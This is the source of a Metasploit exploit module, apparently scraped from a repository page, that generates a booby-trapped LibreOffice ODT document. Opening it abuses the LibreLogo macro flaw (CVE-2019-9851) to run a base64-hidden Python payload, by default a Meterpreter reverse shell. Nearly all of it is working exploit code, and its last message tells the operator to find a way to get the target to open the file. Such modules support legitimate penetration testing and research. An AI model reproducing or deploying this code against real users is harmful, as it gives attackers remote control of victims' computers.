Path: blob/master/modules/exploits/multi/fileformat/libreoffice_logo_exec.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(12update_info(13info,14'Name' => 'LibreOffice Macro Python Code Execution',15'Description' => %q{16LibreOffice comes bundled with sample macros written in Python and17allows the ability to bind program events to them.1819LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE.2021This module generates an ODT file with a dom loaded event that,22when triggered, will execute arbitrary python code and the metasploit payload.23},24'License' => MSF_LICENSE,25'Author' => [26'Nils Emmerich', # Vulnerability discovery and PoC27'Shelby Pace', # Base module author (CVE-2018-16858), module reviewer and platform-independent code28'LoadLow', # This msf module29'Gabriel Masei' # Global events vuln. disclosure30],31'References' => [32[ 'CVE', '2019-9851' ],33[ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9848/' ],34[ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9851/' ],35[ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]36],37'DisclosureDate' => '2019-07-16',38'Platform' => 'python',39'Arch' => ARCH_PYTHON,40'DefaultOptions' => { 'Payload' => 'python/meterpreter/reverse_tcp' },41'Targets' => [ ['Automatic', {}] ],42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt']),54OptString.new('TEXT_CONTENT', [true, 'Text written in the document. It will be html encoded.', 'My Report']),55]56)57end5859def gen_file60text_content = Rex::Text.html_encode(datastore['TEXT_CONTENT'])61py_code = Rex::Text.encode_base64(payload.encoded)62@cmd = "exec(eval(str(__import__('base64').b64decode('#{py_code}'))))"63@cmd = Rex::Text.html_encode(@cmd)6465fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))66libre_file = ERB.new(fodt_file).result(binding())6768print_status("File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.")6970libre_file71rescue Errno::ENOENT72fail_with(Failure::NotFound, 'Cannot find template file')73end7475def exploit76fodt_file = gen_file7778file_create(fodt_file)79end80end818283